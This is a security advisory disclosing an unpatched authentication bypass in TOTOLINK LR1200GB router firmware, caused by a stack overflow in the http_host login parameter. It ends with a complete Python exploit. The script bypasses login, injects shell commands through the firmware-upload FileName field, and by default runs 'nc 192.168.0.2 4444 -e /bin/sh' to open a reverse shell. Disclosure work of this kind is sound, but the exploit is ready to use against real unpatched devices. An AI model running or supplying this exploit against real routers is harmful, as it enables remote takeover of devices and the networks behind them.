SSD Advisory – TOTOLINK LR1200GB Auth Bypass

Summary

A vulnerability in TOTOLINK LR1200GB allows remote unauthenticated attackers to become authenticated due to a stack overflow vulnerability in the web interface. Additional post-auth vulnerabilities in the product allow for command injection and their execution with elevated privileges – allowing the compromise of the device – these are not shown in the analysis below but they are included in the PoC.

Credit

An independent security researcher working with SSD Secure Disclosure.

Vendor Response

Multiple emails to the vendor went unanswered, we are releasing this information without being able to get from the vendor a patch or response.

Affected Versions

TOTOLINK LR1200GB Firmware V9.3.5u.6698_B20230810

TOTOLINK LR1200GB Firmware V9.1.0u.6619_B20230130

Technical Analysis

The loginAuth function within the cstecgi.cgi implementation handles the authentication process, parsing parameters such as username, password, verify, flag, and topicurl from the incoming request. The topicurl parameter determines the intended functionality to be accessed, and in this instance, it holds the value loginAuth.

Upon inspecting the source code, an additional parameter, namely http_host, was identified, as depicted in the provided screenshot. This parameter is utilised in the source code, adding an extra layer to the authentication mechanism.

As evident in the preceding image, the loginAuth function located at address 0x42dfe8 incorporates an additional parameter, namely http_host. Upon closer examination, lines 96 and 98 reveal that the process involves copying the actual username and password into the stack using the strcpy function.

As illustrated in the image above, the code checks whether http_host contains null or not. If not, it is copied to the local stack without proper checks. This makes http_host vulnerable to a buffer overflow. Another critical observation is that the http_host value is stored higher on the stack than the username and password, providing an opportunity for us to overflow and overwrite the legitimate username and password with a value under our control.

As evident from the above illustration, the genuine username and password are stored in the stack, with 0x7fc63a20 representing the username and 0x7fc63a44 representing the password. Let’s proceed to access the login API with an extensive http_host, aiming to overwrite the authentic username and password with all A characters without altering the
return address and causing stack corruption.

As evident from the above, both the username and password have been successfully overwritten with ‘A’. Notably, the username is now ‘A’ x 48, and the password is ‘A’ x 12. Consequently, we can utilise a password of ‘A’ x 12 to achieve a login bypass.

Caution: Given that the authentication mechanism does not validate the username, attempting to exploit the login bypass with a small username like ‘A’ and password with ‘A’ x
12 is not feasible. This is because, at a certain point in the code, the entire username is copied to the heap, where our previous username now resides. However, due to the vulnerability causing an increase in the username size, it results in memory corruption within the heap. Consequently, the program crashes when attempting to free this corrupted memory chunk. To solve this issue we can use the length of username which is greater than or equal to the overwritten username. In this case the overwritten username is ‘A’ x 48 so we can give the username greater than or equal to it.

Here is a sample request and response for the exploit and normal behaviour:

The demonstrated exploit effectively bypasses the authentication mechanism, as illustrated above. We can use this vulnerability to even change the return address and can potentially lead to Remote Code Execution.

Proof of Concept

#!/usr/bin/python3
import json
import argparse
import sys
import requests
from colorama import Fore, Style

URL = "http://192.168.0.1/cgi-bin/cstecgi.cgi"


def login_bypass():
    login_bypass_payload = {
        "username": username,
        "password": password,
        "http_host": host,
        "verify": 0,
        "flag": 0,
        "topicurl": "loginAuth",
    }
    response = requests.post(URL, json=login_bypass_payload, timeout=1)
    try:
        token = json.loads(response.text).get("token")
        if token:
            print(f"{Fore.BLUE}{Style.BRIGHT}[*]{Style.RESET_ALL} Token: {token}")
            return token
        else:
            print(
                f"{Fore.RED}{Style.BRIGHT}[-]{Style.RESET_ALL} Not able to get the token"
            )
            sys.exit(0)

    except json.JSONDecodeError as e:
        print(
            f"{Fore.RED}{Style.BRIGHT}[-]{Style.RESET_ALL} Not able to decode the json"
        )
        sys.exit(0)


def upload_firmware_file_rce():
    print(f"{Fore.BLUE}{Style.BRIGHT}[*]{Style.RESET_ALL} Executing command: {cmd}")
    filename = "File File;" + cmd + "; ls -al >"
    payload = {
        "FileName": filename,
        "FullName": "File",
        "ContentLength": "10000",
        "topicurl": "UploadFirmwareFile",
        "token": login_bypass(),
    }
    requests.post(URL, json=payload, timeout=1)


def set_upload_setting_rce():
    print(f"{Fore.BLUE}{Style.BRIGHT}[*]{Style.RESET_ALL} Executing command: {cmd}")
    filename = "File File;" + cmd + "; ls -al >"
    payload = {
        "FileName": filename,
        "FullName": "File",
        "ContentLength": "10000",
        "topicurl": "setUploadSetting",
        "token": login_bypass(),
    }
    requests.post(URL, json=payload, timeout=1)


def main():
    parser = argparse.ArgumentParser(
        description="Command-line tool for a hypothetical application."
    )

    parser.add_argument(
        "-u", "--username", type=str, help="Username for authentication", required=False
    )
    parser.add_argument(
        "-p", "--password", type=str, help="Password for authentication", required=False
    )
    parser.add_argument(
        "-e",
        "--exploit",
        type=str,
        help="arguments can be login_bypass, set_upload_setting_rce, upload_firmware_file_rce",
        required=True,
    )
    parser.add_argument("-t", "--host", type=str, help="Host address", required=False)
    parser.add_argument(
        "-c", "--cmd", type=str, help="Command to execute", required=False
    )

    args = parser.parse_args()

    global username, password, host, cmd

    username = args.username if args.username else "A" * 50
    password = args.password if args.password else "A" * 12
    host = args.host if args.host else "A" * 304
    cmd = args.cmd if args.cmd else "nc 192.168.0.2 4444 -e /bin/sh"

    exploit = globals().get(args.exploit)
    if exploit and callable(exploit):
        exploit()
    else:
        print(
            f"{Fore.RED}{Style.BRIGHT}[-]{Style.RESET_ALL} Given exploit doesn't exist"
        )


if __name__ == "__main__":
    main()

?

Get in touch